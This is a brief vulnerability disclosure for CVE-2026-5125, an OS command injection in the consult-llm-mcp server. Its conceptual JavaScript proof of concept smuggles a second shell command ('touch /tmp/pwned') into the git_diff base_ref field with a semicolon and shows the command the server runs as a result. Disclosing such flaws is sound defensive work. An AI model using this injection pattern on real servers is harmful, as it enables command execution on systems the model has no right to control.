CVE-2026-5125：raine consult-llm-mcp OS命令注入漏洞

// Conceptual PoC demonstration for CVE-2026-5125 // This demonstrates how the payload might be structured to trigger the injection const maliciousPayload = { "git_diff": { // The semicolon (;) is used to break the original git command // and inject a malicious OS command (e.g., 'touch /tmp/pwned') "base_ref": "origin/main; touch /tmp/pwned; #", "files": "src/server.ts" } }; // Sending this payload to the vulnerable endpoint causes the server to execute: // git diff origin/main; touch /tmp/pwned; # src/server.ts // Result: A file named 'pwned' is created on the server's filesystem. console.log("Payload structure:", JSON.stringify(maliciousPayload, null, 2));